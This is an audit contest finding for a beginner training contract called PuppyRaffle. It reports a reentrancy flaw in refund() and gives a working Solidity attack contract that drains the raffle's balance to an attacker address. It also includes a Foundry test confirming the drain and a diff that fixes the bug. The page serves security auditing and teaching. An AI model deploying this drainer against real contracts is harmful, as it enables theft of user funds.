First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund allows player to drain funds

robbiesumner

Summary

In PuppyRaffle::refund the player is removed from the contract mapping after sending ether. This allows for reentrancy and draining all funds.

Vulnerability Details

PuppyRaffle::refund calls the msg.sender's address with entranceFee. If msg.sender is a contract and implements a receive or fallback function, it could execute logic when receiving this money. If it calls PuppyRaffle::refund, it would get sent entranceFee again, as msg.sender has not been removed from the players array. This would repeat until the contract is empty.

A contract to do this would look like this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "../../src/PuppyRaffle.sol";
​
contract ReentrancyAttack {
PuppyRaffle pr;
address hacker; // address that will be paid out
​
constructor(address _pr) {
pr = PuppyRaffle(_pr);
​
hacker = msg.sender;
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
​
pr.enterRaffle{value: msg.value}(players); // enter this contract address into the raffle
pr.refund(pr.getActivePlayerIndex(address(this))); // call refund once, then receive() will be called
}
​
receive() external payable {
if (address(pr).balance >= msg.value) { // as long as there is still money to be paid out
pr.refund(pr.getActivePlayerIndex(address(this))); // call refund again
}
​
(bool s,) = hacker.call{value: address(this).balance}(""); // transfer all funds to hacker
require(s, "tranfer failed");
}
}

Feel free to paste this into the the test suite in test/mock. Import this contract into PuppyRaffleTest.t.sol and also paste this test function:

function testRefundReentrancy() public {
// enter five players
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
​
// hacker address with inital balance
uint256 startingBalance = 1 ether;
address hacker = address(5);
vm.deal(hacker, startingBalance);
​
vm.startPrank(hacker);
ReentrancyAttack attack = new ReentrancyAttack(address(puppyRaffle)); // create attack contract and attack
attack.attack{value: entranceFee}();
vm.stopPrank();
​
// should have starting balance + all the other entrance fees
assertEq(address(hacker).balance, startingBalance + entranceFee * players.length);
assertEq(address(puppyRaffle).balance, 0); // raffle left with no money
}

Then run forge test --mt testRefundReentrancy -vvvv to see the test succeed.

Impact

This finding is of high severity.
Any player can create a contract to be entered into the raffle which then can call refund to drain the contract completely.

Tools Used

  • VS Code

  • Foundry

Recommendations

Change contract state before sending ether.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ players[playerIndex] = address(0);
​
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Or use a ReentrancyGuard.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!